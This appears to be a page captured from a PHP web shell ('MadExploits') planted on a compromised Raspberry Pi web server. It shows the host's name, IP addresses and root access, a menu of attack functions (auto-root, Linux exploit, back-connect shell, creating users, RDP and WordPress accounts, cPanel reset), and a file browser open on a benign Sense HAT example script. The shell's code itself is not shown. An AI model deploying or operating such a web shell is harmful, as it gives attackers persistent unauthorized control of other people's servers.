Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
sense-hat /
examples /
python-sense-hat /
[ HOME SHELL ]
Name
Size
Permission
Action
colour_cycle.py
619
B
-rwxr-xr-x
compass.py
935
B
-rwxr-xr-x
pygame_joystick.py
1.41
KB
-rwxr-xr-x
rainbow.py
1.62
KB
-rwxr-xr-x
rotation.py
640
B
-rwxr-xr-x
space_invader.png
191
B
-rw-r--r--
space_invader.py
121
B
-rwxr-xr-x
text_scroll.py
173
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pygame_joystick.py
#!/usr/bin/python from sense_hat import SenseHat import os import time import pygame # See http://www.pygame.org/docs from pygame.locals import * print("Press Escape to quit") time.sleep(1) pygame.init() pygame.display.set_mode((640, 480)) sense = SenseHat() sense.clear() # Blank the LED matrix # 0, 0 = Top left # 7, 7 = Bottom right UP_PIXELS = [[3, 0], [4, 0]] DOWN_PIXELS = [[3, 7], [4, 7]] LEFT_PIXELS = [[0, 3], [0, 4]] RIGHT_PIXELS = [[7, 3], [7, 4]] CENTRE_PIXELS = [[3, 3], [4, 3], [3, 4], [4, 4]] def set_pixels(pixels, col): for p in pixels: sense.set_pixel(p[0], p[1], col[0], col[1], col[2]) def handle_event(event, colour): if event.key == pygame.K_DOWN: set_pixels(DOWN_PIXELS, colour) elif event.key == pygame.K_UP: set_pixels(UP_PIXELS, colour) elif event.key == pygame.K_LEFT: set_pixels(LEFT_PIXELS, colour) elif event.key == pygame.K_RIGHT: set_pixels(RIGHT_PIXELS, colour) elif event.key == pygame.K_RETURN: set_pixels(CENTRE_PIXELS, colour) running = True BLACK = [0, 0, 0] WHITE = [255, 255, 255] while running: for event in pygame.event.get(): if event.type == pygame.QUIT: running = False if event.type == KEYDOWN: if event.key == K_ESCAPE: running = False handle_event(event, WHITE) if event.type == KEYUP: handle_event(event, BLACK)
Close